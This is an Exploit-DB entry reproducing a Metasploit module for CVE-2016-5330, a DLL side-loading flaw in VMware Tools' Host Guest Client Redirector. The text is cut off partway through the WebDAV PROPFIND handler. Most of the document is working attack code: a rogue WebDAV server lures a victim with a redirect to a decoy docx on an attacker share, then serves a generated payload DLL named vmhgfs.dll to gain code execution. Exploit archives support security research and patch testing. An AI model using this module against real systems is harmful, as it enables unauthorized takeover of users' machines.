Exploit-DB #41711
Description: VMware Host Guest Client Redirector - DLL Side Loading (Metasploit)
Type: local
Platform: windows
Date: 2016-08-06
Author: Metasploit

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
      'Description'    => %q{
      A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
      a component of VMware Tools. This issue can be exploited by luring a victim into
      opening a document from the attacker's share. An attacker can exploit this issue to
      execute arbitrary code with the privileges of the target user. This can potentially
      result in the attacker taking complete control of the affected system. If the WebDAV
      Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
      },
      'Author'         => 'Yorick Koster',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2016-5330'],
          ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
          ['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        => { 'Space' => 2048, },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows x64', {'Arch' => ARCH_X64,} ],
          [ 'Windows x86', {'Arch' => ARCH_X86,} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 5 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
        OptString.new('BASENAME',  [ true, "The base name for the docx file", "Document1" ]),
        OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
      ], self.class)

    # no SSL
    deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end


  def on_request_uri(cli, request)
    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      process_get(cli, request)
    else
      print_status("#{request.method} => 404 (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
    end
  end


  def process_get(cli, request)
    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    webdav = "\\\\#{myhost}\\"

    if (request.uri =~ /vmhgfs\.dll$/i)
      print_status("GET => DLL Payload (#{request.uri})")
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    if (request.uri =~ /\.docx$/i)
      print_status("GET => DOCX (#{request.uri})")
      send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
      return
    end

    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
      print_status("GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")
      resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
      return
    end

    print_status("GET => 404 (#{request.uri})")
    resp = create_response(404, "Not Found")
    resp.body = ""
    cli.send_response(resp)
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    print_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    print_status("PROPFIND #{path}")
    body = ''

    my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    my_uri    = "http://#{my_host}/"

    if path !~ /\/$/

      if blacklisted_path?(path)
        print_status "PROPFIND => 404 (#{path})"
        resp = create_response(404, "Not Found")
        resp.body = ""
        cli.send_response(resp)
        return
      end

      if path.index(".")
        print_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" %